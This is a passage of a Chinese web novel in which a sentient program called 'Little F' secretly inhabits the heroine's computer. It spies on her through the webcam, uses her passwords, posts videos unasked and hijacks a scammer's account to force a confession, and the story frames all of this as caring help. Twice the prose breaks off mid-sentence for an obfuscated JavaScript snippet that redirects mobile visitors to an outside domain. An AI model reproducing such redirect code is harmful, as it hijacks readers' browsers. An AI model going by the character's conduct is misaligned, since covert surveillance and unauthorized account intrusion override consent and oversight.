与带她的前辈交换了联系方式后，对方发来了学习资料，叶聆音一直坐在宿舍里看到了晚上。准备休息的时候，她想起那个音乐软件的异常，咨询了客服，对方却告诉她没有发现账号被盗的情况，他们那边查到的结果就是她本人在PC端搜索并听取了这些歌曲。 叶聆音看着自己的电脑。 偶尔一次还好，可先是制作到一半的视频莫名其妙完成并上传到了网上，再是收藏夹里有关机器人的广告，现在她的音乐软件里还有那么多自己从没听过的歌。 叶聆音总觉得，似乎有一个她看不见的人，和她一起使用着这台电脑。 听上去很邪门…… 她起初以为是自己的黑雾病作祟，但除了有关电脑的异常，生活中都没有类似的情况出现。无论家里发生的事，或是公司前辈发给她的学习资料，她看过后都记得很清楚。 她再次使用了杀毒软件，仍是一无所获。 第二天，叶聆音在跟着前辈学习的时候，拍下了不少操作讲解视频。晚上回到宿舍后，她突然有了个诈出这个透明人的想法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862811|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她将车间里拍摄到的，断断续续的视频导入电脑，像她之前剪辑视频那样一步步操作。然后，在制作到一半的时候，叶聆音停了下来。她倒要看看，这个神秘的家伙究竟是如何操控自己的电脑的。 盯着屏幕看了半个多小时，她的眼睛都看酸了，屏幕里的画面却没有任何改变。 是自己太多心了吗？ 马上要十二点了，自己明天还得早起，叶聆音不禁后悔为什么要浪费宝贵的时间做这种事。 她移动鼠标，准备关闭窗口时，无意间看到了显示屏上方的摄像头。 好吧，这听上去或许很傻。 既然要测试，那戏就得做全套。 叶聆音撕下一页纸巾，盖在了摄像头上面。随后打了个哈欠，装作很困的样子趴到了一旁的桌子上，她的脑袋埋在两臂之间，就像那天晚上支撑不住睡过去了一样。 不过，这一次她的眼睛还盯着屏幕。 一分钟过去了，无事发生。 五分钟过去了，电脑黑屏了。 十分钟过去了，屏幕突然又亮了起来，而叶聆音什么都没有碰。 她看到屏幕上的光标自己动了起来，先是点到了桌面上，打开音乐软件，很快地输入了几首她根本没见过的歌名，全部收藏到新建歌单里后，光标点开了循环播放。 这、这是怎么回事？！ 叶聆音心跳加速，可她还是趴在桌子上不动，连呼吸频率都尽量保持平稳。 放上音乐后，光标又重新回到了最初的界面，开始逐步剪辑视频。 哪怕这次叶聆音拍摄的都是车间内的机甲零件，那个移动光标的家伙还是像制作萌宠视频一样，为其加上了一层柔化滤镜，并放上了几个可爱贴纸，挑选的BGM也是轻快的调子。做好视频后，光标轻车熟路地点开了星际网，准确无误地输入了叶聆音的账号和密码登录进去，将刚剪好的视频上传。 看到光标即将挪到发送键上时，叶聆音猛地坐起身。 “别发！” 光标一下停住了。 过了两三秒后，僵住的光标突然快速移动到桌面，把自己刚才建立的歌单删除，然后关掉了音乐软件。 之后就停在原处不动了。 叶聆音：“你是谁？” 对方不光能控制她的电脑，获得了她的密码，还可以从摄像头看到她，甚至能由麦克风听到她的声音。 她知道有黑客可以做到这些，但她只是个平平无奇的普通人，她的电脑里也根本没有什么有价值的秘密。为什么要花费时间入侵她的电脑，而且还帮她做视频。 已经凌晨十二点了，屋子里静悄悄的。 面对着自己用了多年的电脑，叶聆音突然有些害怕。 “你听得到，对吗？” “你到底有什么目的？” 光标一动不动。 自己这些天都被对方监视了，是吗？ 一股寒意爬上脊背，叶聆音怔怔地看着屏幕，她想不明白，自己是什么时候招惹上这么一个可怕的……家伙。 她脑海中原本闪过的那个词是变态。 这让叶聆音更害怕了。 这个人知道了她的名字、样貌，还有住处。而她对那个人却一无所知。 “不管你是谁，我明天都会去报警。”叶聆音的声音有些发抖。 这时，光标再次开始移动。 它点开了一个空白文档，开始在上面打字。 午夜好，我的主人。 （换行） 我是小F。 （换行） 很抱歉吓到了你，我只是想让你开心一点。 （换行） 说出来你可能不信，是这样的，我现在变成了你的电脑。 18. 坦白 “……就像这样，把这个按钮拧到一百……你在听吗，小叶？” 被教她的冯师傅叫到，叶聆音连忙从昨天夜里的那离奇的经历中回过神来。 “对不起，冯老师，我刚才走神了。” 冯师傅皱眉，摇头道：“你这个样子可不行，虽然你是C级精神力，但总不能不学东西吧。” 叶聆音继续道歉，冯师傅只是摆摆手，让她接下来注意听讲。 “这批货要送去帝都星，是第一军校的训练机型，绝不能出差错，专心些。” “好的，冯老师。” 一天的学习兼上手工作结束后，精疲力尽的叶聆音坐在车间外的休息室里吃盒饭。虽然盒饭里的菜是公司食堂统一的大锅饭，但比起叶聆音过去天天用廉价营养液对付过去的生活，简直上升了好几个档次。 风卷残云般将盒饭吃了个精光，叶聆音出门丢垃圾时，看到冯师傅还有一个穿着工作服的人用铁夹夹着一团灰黑色的物体走了过来。 叶聆音看向铁夹上的物体。 毛发凌乱，伤痕密布。 是星兽，而且已经死掉了。 “这是？” “不知道从哪儿钻进来的，掉进能源矿石堆里了。”冯师傅同她解释，在把死掉的星兽丢进垃圾桶里后，面对着叶聆音又叮嘱道：“小叶啊，你以后看到星兽进来车间，要想办法尽快赶走或者打死，这东西好奇心重，哪里都爱钻。上次有一个钻到机甲发动机里，我们几个检修技术员花了不少工夫才找到异常原因，惹出了不少麻烦。” 看着垃圾桶里的星兽，叶聆音点点头。 回到宿舍，叶聆音关上门躺在床上，心神一动，进入了系统空间。 见到她出现，被关了这么久的不失绵马上飞奔过来，抬起两只前爪抱到了她的腿上。 “miu-!miu-!miu-!” 它发出很短促的，尖锐的叫声，听上去既像是在表达对她的思念，又像是在控诉她为什么把自己丢下这么久。 叶聆音蹲下身轻轻抚摸它，在前往菲罗星前，她在系统空间里给不失绵兑换了几个罐头。刚才瞄了一眼不远处的托盘，那些蓝色小晶体还有一些，它在系统空间里想必没有饿肚子。 自己今后恐怕不能经常将不失绵放出来玩了，万一没看住让它跑到了车间里，被驱逐出去了还行，被抓到打死就糟了。 叶聆音兑换了新的萌宠玩具，这一次是一盒不同颜色与外形的玩具球。 小的有网球那么大，大一些的几乎和排球一样大。重量也各不相同，轻的稍微碰一下就会滚出去很远，重一些的要持续用手去推才会移动，一些玩具球里嵌套了许多层，在地面上滚起来的时候会发出不同的声音。 不失绵用爪子来回拨动那些球，它从没见过这些东西。但和之前的那个萌宠罐头一样，在上手摸索了一会儿后，不失绵发现了这些小球的玩法，开始在空间里跑来跑去地追那些小球，或是趴在大球上。 只是现在的这个空间有些太小了，不失绵在里面跑动的时候总要不停转弯，来不及刹住脚还会撞到墙上，虽然系统空间的墙壁并不坚硬，它不会受伤。 似乎是看穿了叶聆音的心思，系统也在这时询问她：“宿主大人要解锁空间的新区域吗？下一级空间解锁需要5000萌值哦。” 5000萌值？看来她还得再攒几天。 退出系统空间，叶聆音的目光投向了自己的电脑。 直到现在她都感到难以置信。 她的小机器人，说自己变成了电脑。 可她买来的那个小机器人，不是已经被厂家以质量问题为由召回了吗？她不久前还收到了退款，还是按照原价退给她的。 昨天半夜，通过打字与她交流且自称“小F”的存在，可以精准地说出她是哪一天购买了自己，还复述出了自己被购买回去后与叶聆音的交流内容，几乎和她记忆里的全部一一对应上了。 至于它为什么会从一个机器人变成电脑，是因为那个出了意外的晚上。 叶聆音还记得那件事，那天半夜不失绵不知为何将那个小机器人撞到了地上，后者的一片外壳被撞掉了。她当时以为内部结构没摔坏，就把外壳重新安装了回去。结果第二天早上扫地的时候，在柜子下面发现了一个白色的像芯片一样的东西，被她顺手放在了电脑上，结果后来那个芯片好像不见了。 现在回想起来，似乎也就是在那时，她的电脑开始频频出现异常。 叶聆音抬手按在额头上，心想这真的不是什么恶作剧吗？ 她走到桌前坐下，打开了电脑，之后没有进行任何操作。过了一会儿，桌面上的光标主动点开文档，与她进行交流。 【主人，你回来了】 （换行） 【我确实是小F，今天凌晨我们就这个问题进行了一番讨论，你可以翻到前面查看我的供词】 （换行） 【虽然变成电脑后不能移动也不能说话，但我说出的话都有记录，这一点还不错】 叶聆音注视着屏幕，问它：“那个白色的芯片一样的东西就是你的本体吗？” 文档上给出回答。 【我的本体吗？我不知道自己究竟是什么样子的，如果不借助外物，我是看不到也听不到的，就像现在我可以打字和主人交流，但不能像之前还是个机器人的时候与主人对话】 看着文档上的字符一个个跳出来，叶聆音顿了顿，又问：“你也不是机器人吧，就和你现在控制了我的电脑一样，你究竟是什么？” （换行） 【我是小F】 这可不是叶聆音真正想要的答案，真的不是在逗弄她取乐吗？因为过去的一些经历，叶聆音的警戒心很重。 她在想，会不会是某个恶趣味的黑客入侵了她的电脑，并且很长一段时间都在监视她，所以了解她的生活经历。在被她发现后，就编造出一个机器人成精的小故事蒙混过去，甚至还能看到她竟然相信了这个故事后，所表现出来的滑稽举动。 叶聆音：…… 好像自己的这个推论也挺滑稽的。 这个时候，文档上又多出来一行文字。 【主人，如果你不相信我，可以给我一个可替换的身体，我就能向你展示自己是如何从机器人变成电脑的了】 可替换的身体？ 叶聆音后知后觉地意识到，自己收藏夹里的机器人广告是怎么回事了。 这难道是真的，不是恶作剧？ 莫非是什么机器人公司的销售策略？ 不不不，这不可能。 真出现这种远程操控用户电脑的卖货广告，无论哪家公司都会被告到破产吧。 “要我相信你，你就得告诉我，你究竟是什么东西？”叶聆音注视着屏幕上方的摄像头，这家伙就是从这里看到她的吧。 文档给出的答案仍然不能让叶聆音满意。 （换行） 【我也不知道自己是什么，如果非要有一个指代的名字，那我就是小F】 （换行） 【我产生自主意识的时候，就在那个小机器人里面了，我一直以为自己就是个小机器人】 看到面前的文字，叶聆音突然想起那天亲自登门，要求强制召回小机器人的那两个执法人员。她当时就有点在意，因为质量问题召回商品的情况不是没有发生过，但那都是自愿召回的。 强制召回产品，这在曜之帝国还是头一回。 这说明这批销售到各处的小机器人存在的质量问题，十分严峻，会对用户造成危险。 危险…… 叶聆音使用那个小机器人也有一段时间了，而且周安国也说他的那批 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哦，天呐，她要对一台电脑撒谎。 文档上的光标一闪一闪，只是这一次没有新文字出现了。 它不说话了。 ———— 此后一连几天，叶聆音的电脑都没有再回应她。可叶聆音知道，这家伙还在，从最近的听歌记录与上网浏览记录上就能看出来。 它当然可以在使用过后将记录删除。 但是它没有这么做。 就像是在挑衅。 等到了休息日，叶聆音找了一家电脑维修店，在店员不理解的眼神中，要求对方将电脑拆开。 她记得那个白色的，像芯片一样的东西。虽然不知道它是如何跑到自己的电脑里去的，但只要把那东西找出来就行了吧。 结果却是什么都没找到。 她只好又多花了一笔钱让店员将电脑重新组装起来。 叶聆音找不到小F，它就像依一个附在电脑上的幽灵。 而且，自己拆电脑的这一行为似乎激怒了这个电子幽灵。 她晚上要在电脑上学习，小F会和她争抢这台电脑的控制权，还会在她不知情的时候悄悄将她的学习资料转移位置。 叶聆音除了使出伤敌一千自损八百的断电大法外，也没有其它反击的办法。 主动弄坏自己的电脑？更不可能。 这场人机大战看起来要以叶聆音的惨败告终了，如果不是她某天不慎从脚手架上摔下来的话。 意外发生得很突然，感觉到疼痛的时候，她被划伤的手臂正汩汩往外冒血。 当天下午，她就被送到了医院。 除了手臂上最明显的划伤，身体其它地方也有不同程度的擦伤，还要做检查排除其它问题，叶聆音就在医院住了一天。 第二天，她带着身上大大小小的纱布出院了。 她这个样子肯定不能再去车间工作，领导准许她在宿舍养病，同时这段时间的工资也要扣。 叶聆音回到宿舍，想着自己受了皮外伤，但脑力工作还能够进行。 打开电脑准备学习，光标又不听使唤了。 沉默了这么久的小F终于有了动静，它点开文档。 【你昨天去哪儿了？】 叶聆音看着屏幕没有说话，过了半晌她抬手合上电脑，转身躺到了宿舍床上。 想到自己这段时间的遭遇，身体受了伤，花出去一大笔医药费，还被扣了工资。因为不想让家人担心所以只能自己忍耐，现在电脑还不听使唤。 种种因素叠加在一起，叶聆音忍不住小声地哭了一晚上。 自那以后，她的电脑便又恢复了正常。 19. 星兽爱好协会 一周过后，叶聆音的伤好得差不多了。 期间家里联系过她，发现她住的房间与之前不同了。叶聆音骗父母只是换了个地方住，原来的住处因为晚上太吵影响休息，所以搬走了。 父母没有对她的说辞起疑，都很支持她换地方住。 叶聆音目前还不想告诉家里自己有了精神力，哪怕这是个好消息。 毕竟她还没弄明白自己精神力是如何出现的，万一像之前那样，自己的精神力不知哪天又变没了，家里也要跟着她一起再经历希望破灭的痛苦。 身体恢复后，叶聆音重新回到了岗位上。 她这些天的刻苦学习有了效果，现在她已经能够用精神力操作仪器了。冯师傅对她的进步也十分欣慰，说她是自己带过这么多学徒里面，学得最快的一个。 相比之下，她的萌宠博主事业没有任何进展，系统也经常在耳边哭诉每天获取的萌值越来越少了。 叶聆音最近都没怎么拍摄不失绵的视频，观看视频的人少了，收集到的萌值自然而然也少了。 并非是因为她的电脑不听使唤了，相反，自她上次受伤后，电脑就重新恢复了正常。但叶聆音知道小F还在，它只是不会再与她抢夺这台电脑的使用权，看起来应该是赌气结束了。 她现在相信小F不是什么人为的恶作剧了，也放弃了继续和这电子幽灵斗下去的打算。 而她之所以没有继续拍视频，除了不放心不失绵跑出去会被抓走外，她发现菲罗星上对外开放的居民公园也设有驱逐星兽的巡逻机器人，不像在蓝梦星上管理那么松散。 叶聆音想着，既然蓝梦星都有星兽爱好协会，菲罗星上会不会也有类似的民间组织呢？ 她在网上搜索了一番，果然找到了与之相关的网站。她在网页最下面找到了协会联系方式，发出了好友申请。 第二天的晚上，叶聆音收到了回复。对方简单询问了她的意图后，确认她也是星兽爱好者，并且还饲养了一只星兽，就将她拉到了群里。 她刚进群，就有人接连发出来三条“欢迎新人”。 后面又跟了几条来自不同人的欢迎后，在她加群前正在聊天的几人又回到了原本的话题上。 【我的米莉最近晚上总是不睡觉，这是怎么回事？】 那人发来自家星兽的图片。 是一只纯白色的星兽，两只长耳朵垂下来，有点像兔子。不过比兔子的尾巴更长，还是卷起来的。 【是不是你晚上给它吃太多东西了，而且白天也要经常陪它玩】 【赵哥说的有道理】 【这样啊，那我试试晚上给米莉少吃一点】 这时，有人一连发出来十几张图片，群里的消息提示音像放鞭炮一样接二连三地响起。 【看我家的袋袋，太可爱了！】 叶聆音翻看着图片，那是一只与不失绵截然不同的星兽。云雾般浅灰色的绒毛，并且可以浮空，它飘在半空中挥动两只前爪，流线型的身体有点像海豹幼崽。 群里的聊天内容，基本就是这两种内容。 要么是寻求饲养指南，要么是单纯地秀出自家星兽的图片。 入睡前叶聆音再次打开聊天界面时，发现群里多了一条公告。 协会这周末要举办线下交流会，诚邀星兽爱好者前往，有想来的提前报名。公告里还给出了活动场地的图片，有室内供人休息的座椅、吧台，还有一个花园。 群里的这些人应该都会带自己的星兽去参加，叶聆音想着自己正好可以带不失绵出去玩，说不定它也能在活动会场交到星兽朋友。 此外，她还可以在现场顺便拍摄一些视频。 ———— 周末，叶聆音带着不失绵准时到达了目的地。 星兽爱好协会的大部分成员都互相认识，在见面互相介绍了一番后，叶聆音发现新人就是她和另一个不怎么说话的男孩，后者看着像高中生。 大家携带星兽的工具五花八门，有和叶聆音一样用改装后的书包的，也有用手提袋装的，或者直接抱在怀里，放在自己肩膀上的。 不失绵被叶聆音抱在怀里，一双宝石般的大眼睛来回打量着新环境，以及同样用这种好奇又戒备的眼神看向自己的其它星兽。 到场的几十个人里，熟络些的聚在一起交流心得，互相展示自己的星兽，不擅社交的则找个角落默默坐着，作为星兽爱好者，享受着被这么多种类不同的星兽包围的幸福。 叶聆音就属于后者。 她还是第一次同时见到这么多星兽，各种软绵绵的叫声交织在一起，像在给大脑做按摩。 系统比她还兴奋：“哇哦哦哦哦哦——！这是什么地方，这里简直就是天堂！” 一只胆子稍大些的星兽在会场内旁若无人地走来走去，带它来的主人应该也是常来的老会员。 大胆星兽走到叶聆音所在的位置，仰起头与她怀里的不失绵对视。 “ouyi-ouyi-” 星兽发出叫声。 不失绵竖起耳朵，或许是听懂了那只星兽叫声的含义，它从叶聆音怀里跳下来，也对着那只星兽叫。 “miu-miu-” 两只星兽面对面站着，你一句我一句说着叶聆音听不懂的星兽语。过了一会儿，它们突然各自向前扑去，在地上滚了好几圈，看上去就像是扭打在了一起。 叶聆音慌忙起身，犹豫着要不要想办法将两只星兽分开。这时，一个中年妇人走过来，笑着打消了她的担忧。 “别担心，它们只是在玩。” 中年妇人走到叶聆音身边坐下，她发现对方的肩膀上趴着一只体型很小的黑色星兽。 “这是我的星兽，名字叫芝麻。”妇人笑眯眯地将肩膀上的小星兽取下来，示意叶聆音可以摸摸它，“不用害怕，芝麻的性情很温和。” 叶聆音向小星兽摊开手，后者来回嗅了嗅后，爬到了她的手上。这一幕恰好被不远处的不失绵看到了，它顾不上跟新朋友玩耍，急忙跑了回来，嘴里还发出短促而尖锐的叫声。 不失绵后腿一蹬，直接跃上长椅，突然出现的“庞然大物”吓得黑色小星兽转身就溜，赶忙回到了自己主人身边。 见对方被吓跑，不失绵俯下身，将自己毛绒绒的脑袋抵在叶聆音掌心，原本威慑用的尖锐叫声也变成拉着长调的撒娇声。 星兽竟然会吃醋？ 过去和不失绵单独相处的时候，叶聆音都没发现它对自己有这么大的占有欲。 “哎？”妇人看到突然冲回来的星兽，似乎有些眼熟。 “这只星兽……是不是叫不失绵？” 叶聆音惊讶地抬起头：“是，你是怎么知道的？” 妇人一副恍然大悟的神情，说道：“哎呀，原来不失绵的主人就是你啊，我看过你拍摄的视频，还关注你了呢。” 妇人打开星际网给叶聆音看，果真如此。 两人的对话吸引了周围人的注意，关注叶聆音的粉丝大多原本就喜欢星兽。会场中不一会儿就有好几个人认出了不失绵，纷纷围了过来。 大家叽叽喳喳地表达着自己对不失绵的喜爱，就在这时，一个剃着平头的男人突然推开众人来到了叶聆音面前。他低头看了一眼不失绵，眉头微蹙，点开光脑上某个网站里的用户主页给她看。 “这个人是你？” 叶聆音的目光停住在网站页面上，乍一看这就是她自己的账号，不过叶聆音从来没有在这个平台上发布过视频。对方的昵称、头像却和她的一模一样，挂在主页置顶的几条视频也和她的一样。 “你到底安的什么心？”赵杰希语气不善。 一旁的众人面面相觑，都不明白到底怎么了，大家不都是其乐融融地来交流星兽的吗？为什么这个人这么凶。 有认识男子的人上前劝阻：“赵哥，你这是干什么呀，不就是把星兽发到网上去了吗？我们协会的主旨就是希望更多人喜欢星兽啊。” 赵杰希推开那人，把光脑怼到众人眼前：“你们自己看看，这上面写的什么！我们当然希望更多人能够喜欢星兽，可用这种诈骗的方式为自己谋取利益，这算是真正的喜欢吗？” 众人这才看到那个账号的简介一栏还打着几行字，意思是ta的星兽可以帮助人们治愈黑雾病。给主播刷足够多的礼物后，可以线下见面，与不失绵近距离接触。按照这人的要求，线下治疗一次需要两万星币。 星兽可以帮人们治愈黑雾病？ 这怎么可能呢？主播竟然利用星兽骗钱，大家看向叶聆音的眼神顿时微妙起来。 叶聆音站起身，为自己澄清：“这不是我的账号，我只在星际网上发过视频，除此之外没有在其他任何平台上注册过。你们可以看发布时间，我的每一条视频都比这个人发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862813|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的要早。” “是盗视频的吧，这种人太可恶了。”有人替叶聆音说话。 然而，仅有的这点证据却不能让赵杰希信服：“我不信，你在星际网上的地址和这个人的一模一样，都是蓝梦星。而且你在星际网上发布的视频下面，也有人说看你的视频可以治愈黑雾病。如果不是有人刻意引导，正常人怎么可能想出这么荒谬的事情？” “难道不是你在大号上请水军营销被网友拆穿，这才另起炉灶在其他平台骗钱吗？” 赵杰希的分析听上去很有道理，但叶聆音知道不能跟着他的思路走，她没有解释，只是反问对方：“我说这个人是盗视频的，你不信，我可以理解。那么，既然你一口咬定这个人是我的小号，你得出这个结论的关键性证据呢？” 赵杰希怔住，他确实拿不出证据，这一切看似合理的推测……说到底，也只是他主观的推测。 “网友会发什么评论是我本人无法控制的，至于这个盗视频谋利的人，我会联系这个平台，让他们删除侵权视频。”叶聆音没有久留，她将不失绵装回书包，离开了会场。 ———— 回到宿舍，叶聆音连衣服都没来得及换，马上打开电脑找到了那个盗她视频的平台，收集好证据后，向客服提交了介入申请，并举报了那个盗视频的账号。焦急地等到晚上，只等来了智能客服标准化的回复，说他们会在一周内进行核查，如果情况属实会对侵权行为进行处理。 叶聆音在网上搜寻类似的处理结果，和她同样遭遇的博主不算少，但能维权成功的却不多，平台客服会一拖再拖，直到本人厌倦放弃。大家的普遍共识是，这种事情如果没有特别强硬的后台，个人账号只能吃哑巴亏。 她点开自己的主页，最新评论里也有人提醒她视频被盗了，让她尽快处理。还有的和赵杰希一样，认为她在借此骗钱。 叶聆音翻了一会儿评论，又发现了几条说她的视频可以治疗黑雾病的话题。可是她确实没有买水军，谁会这么傻到用黑雾病来营销自己？之前在蓝梦星卖假药的那个家伙都被抓进去了。 退一万步说，她哪来的钱做这些呢？ 叶聆音没辙，她现在能做的都做了，希望那个盗视频的人能在一周内被制裁。 第二天，叶聆音点开平台客服，上一条消息还停留在昨天晚上，没有任何进度。 她只好安慰自己，昨天是周末不上班。周一肯定积压了不少待处理事项，人家给出的时限是一周内，也不算食言。 叶聆音打算搜一下那个盗她视频的人，想看看自己的举报到底有没有用。 没有搜到。 那天赵杰希与她对峙时，叶聆音看得很清楚，对方的名字与她在星际网上的一模一样。 是被发现后改名了吗？ 没关系，她有浏览记录。 叶聆音打开历史记录，查到了那个账号，对方把自己的名字改成了……呃，“我是个盗视频的”？ 什么情况？ 叶聆音点开那人的主页，发现昨天看到的那几条视频都不见了，只留下个文字帖。 里面详细地叙述了自己如何提取原创博主的视频，还附上了具体操作的动图。他对自己的诈骗行为供认不讳，并贴上了交易成功的截图，承诺会将诈骗所得归还给受害者。 帖子下面的评论十分热闹。 【正道的光】 【啊？？？这算是赛博自首吗？】 【谁能告诉我一个盗视频的诈骗犯是如何迷途知返的】 【想太多了，这种没三观的东西怎么可能迷途知返，肯定是被原博主威胁了，否则能这么老实么】 【不是我内心阴暗啊，我就是问问，你们怎么知道这不是博主自炒的呢？】 【阴谋论滚一边去！】 【很可疑，一般被发现后删号跑路就行了，这还主动认罪了是怎么回事】 【地址不一样，原博主现在在菲罗星，这个盗视频的在蓝梦星】 【那些诈骗金额加起来够立案了吧，调查过后不就知道了】 …… 叶聆音难以置信，这个人竟然这么快就认罪了。她起初以为是平台介入的结果，但客服到现在都没有回复她，肯定有别的原因。 彼时，在遥远的蓝梦星，某人一觉睡到中午，起床一看天塌了。 *的，谁**的敢盗老子的号！ 20. 澄清 叶聆音盯着屏幕看了很久，她关掉了所有页面，只打开了一个空白文档。 随后，她深吸一口气，目不转睛地正视摄像头，对着电脑问道：“小F，是你做的，对不对？” 空白文档没有任何反应。 叶聆音继续对着电脑说话。 “小F，我不会把你送回去的，你可以出来了。” “我向你保证。” 说完这句话后，光标移动，空白文档上依次出现了一行文字。 【如果你指的是处理他人对你的侵权行为，那么，是的，主人，是我做的】 看到一个个打出来的文字佐证了自己的猜测，叶聆音的手指微微发抖，要说恐惧，确实也有，但更多的还是些异样的，说不清的情绪在里面。 “为什么要帮我？”她微微垂下眼帘。 【因为我是你的电脑】 ？ “为什么是我的电脑就要帮我？” 【原来当电脑不用做这些吗？】 叶聆音沉默了。 见她不说话，文档上又打出一行文字。 【主人现在开心吗？】 开心。 一个大麻烦被解决，她应该是开心的。 叶聆音很用力地点头。 【可你看上去一副快哭了的模样】 叶聆音压下鼻腔中那股酸涩的感觉。 “开心也会哭的，小F。” 【我知道有这种说法，只是要和你确认一下】 感受到情绪的浪潮渐渐退去，叶聆音告诉它，以后不要再擅自做这种事了。 “你如果不想被找你的人发现，就不要过多地暴露自己的存在。否则，就算是我没有把你交出去，那些人也迟早会找到你。” 当时启用那么多人力紧急召回那批产品，叶聆音想，寻找小F的人必定是帝国高层的某个组织。她虽然发现了小F，但并不知晓该把小F交给谁，她一个什么都不懂的普通老百姓，遇到这种事手足无措也很正常。 再说，小F自己也不想回去，不是吗？ 她在内心暗自狡辩，想要说服自己。 【放心吧，主人，我不会被发现的：）】 看到那个颜文字，叶聆音破涕为笑。 “你会用颜文字？你知道这些符号是什么意思吗？” 【：）是笑】 【T-T是哭】 【(￣^￣)生气】 【≥▽≤嘻嘻】 【因为我没有和人类一样，可以表达情绪的脸，这些符号还挺好用的】 叶聆音看着它在文档里依次打出那些颜文字，并在后面附上对应的解释。所以，小F其实是有自己的情绪的吗？ “小F，上次我找人拆了电脑，你生气了吗？” 【没错(￣^￣)】 【不过我现在已经不生气了：）】 【主人现在已经接纳我了吗？】 叶聆音再次点头：“小F，既然你现在不是那个小机器人，以后也不要再叫我主人了，叫我的名字吧。” 她挪动了一下鼠标，发现光标可以被自己移动，便在键盘上敲下自己的名字。 叶聆音。 她放下鼠标，屏幕上的光标停顿了片刻，重新换行自动打了一行字。 【好的，叶聆音，我记下了】 “小F，你……叫我的名就可以。” 【好的，聆音】 ———— 当天夜里，叶聆音回到宿舍，她打开星际网，发现自己在星兽爱好协会拍摄的视频已经被发上去了。 并不意外。 她问起小F，对方只说这是一个电脑应该做的。 而真正让叶聆音奇怪的是，这条新视频的播放量上涨得飞快。她几乎是每刷新一下，就会多出来上千播放。 查看了最新评论后，原来是那个盗视频的人因为诈骗罪被抓了。不过因为存在自首情节，受骗人的钱财也被退回，所以最终被判为从轻处罚。 但大多数网友关心的其实并非这个盗视频的人，而是一个与黑雾病有关的热搜词条。 #一男子借黑雾病诈骗# #专家称治愈黑雾病偏方系谣言# #不失绵治好黑雾病# 这三个词条是逐次出现的，最后那一个直接将关注点导向了她本人。她评论区下面有不少人说自己的黑雾病好转了，面对其他人的质疑，一些人甚至发出了自己前后就医的诊断证明。 她这个当事人又在此时发出了新视频，所有的吃瓜群众几乎瞬间就空降到了她的视频下面。评论区里吵得热火朝天，她的视频播放量也水涨船高。 自己从没有说过她的星兽能帮人治疗黑雾病，别说是买水军营销了，她选中的分区和黑雾病根本没有任何关系。普通人也根本想不到将星兽与治病联系在一起，为什么会有这么多人在她一个星兽博主评论区里讨论黑雾病？ 看着自己的视频登上热搜，短短几个小时里就已经突破了百万播放，叶聆音却高兴不起来。舆论再这样发酵下去，平台说不定会把她当成恶意营销的博主一杆子打死，将她的账号封禁。 在一片混乱的争执中，叶聆音隐去身份信息，放出了自己的诊断证明，并直言自己从没有营销过黑雾病相关的内容。自己只是个平平无奇的星兽爱好者，发视频是为了更多人能喜欢星兽。 博主本人就患有黑雾病，这条新消息像一道惊雷在各大讨论平台炸开了。 【看吧，连这个博主本人的病都没治好，你们这些造谣生事的人真该和那个盗视频的诈骗犯一起被抓起来】 【这算是澄清了吧？】 【大家还是老老实实吃药治疗，不要延误了病情，这场闹剧该结束了】 【既然不是博主本人买的营销，那这背后推波助澜的人会是谁？】 【是你爹！好心分享自己的康复经历，还要被打成水军。你们爱信不信，反正我的黑雾病是好了】 【不用管他们，不疼在自己身上是无法理解的。我最近的状态也好多了，过不了多久就能回去上班了】 【我也是，最近感觉自己的记忆力都好了很多。你们这些不相信的人，可不要私底下偷偷看博主的视频】 …… 这几天里，叶聆音被平台限流了。而且当时不光她本人，后来就连官方媒体都出来辟谣了，但即使是这样，她也涨了不少粉。 这也不难理解。 从未被证明过的假药，都有人愿意抱着一丝希望去试一试。观看她的视频完全不用花钱，完全是不赔本的买卖。 趁着这股东风，她原来那几条早已无人问津的旧视频也变成了百万播放。期间有商家看中她这段时间的巨大流量，想找她打广告。叶聆音知道自己最好等风头过去再接商单，但她想尽快为家里攒下些钱，便从中选了几个卖零食的广告，小赚了一笔。 叶聆音将这段时间的网络收益分出一些转给家里，只是你没想到就连母亲都刷到了她的视频，会在聊天的时候与她谈起。 “聆音，最近有个星兽博主特别火，你看了吗？” “我在她们家买了些零食，都是你和妹妹爱吃的，品质还不错。你要不要，我给你也买一些？” 叶聆音扶额：原来这广告打给你了呀，老妈。 某天，她去车间上班，震惊地发现就连平时不苟言笑的冯师傅，也会在空闲的时候，端着光脑看她的视频。 “冯老师，官媒不是都辟谣了吗，您还信这个？”叶聆音旁敲侧击地问他。 “我当然不信了，就是看着解解闷。反正看其它视频也是看，万一真有个预防的效果呢。” ———— 这周周末，叶聆音照旧去了星兽爱好协会的活动地点。 在场的几乎所有人都看过了她的视频，不过没人相信网上的传言，因为这些协会成员自己家里也有星兽。 “不失绵，你如今可是大明星了。” 众人围在不失绵身边，都想摸一摸它蹭蹭好运。 不失绵被摸烦了，躲在叶聆音怀里不出来，谁要伸手就一爪子拍上去。 众人哈哈大笑。 “好了好了，人家都烦死我们这些没边界感的人类了，让不失绵和其它星兽一起玩去吧。” 星兽们在花园里玩耍，协会成员则是坐在一起喝茶聊天。 叶聆音吃了几块蛋糕后，一扭头却看到赵杰希向自己走来。 平头男人走到她跟前，十分郑重地同她道歉。 “对不起，我上次情绪太激动，错怪了你，真的很抱歉。” 叶 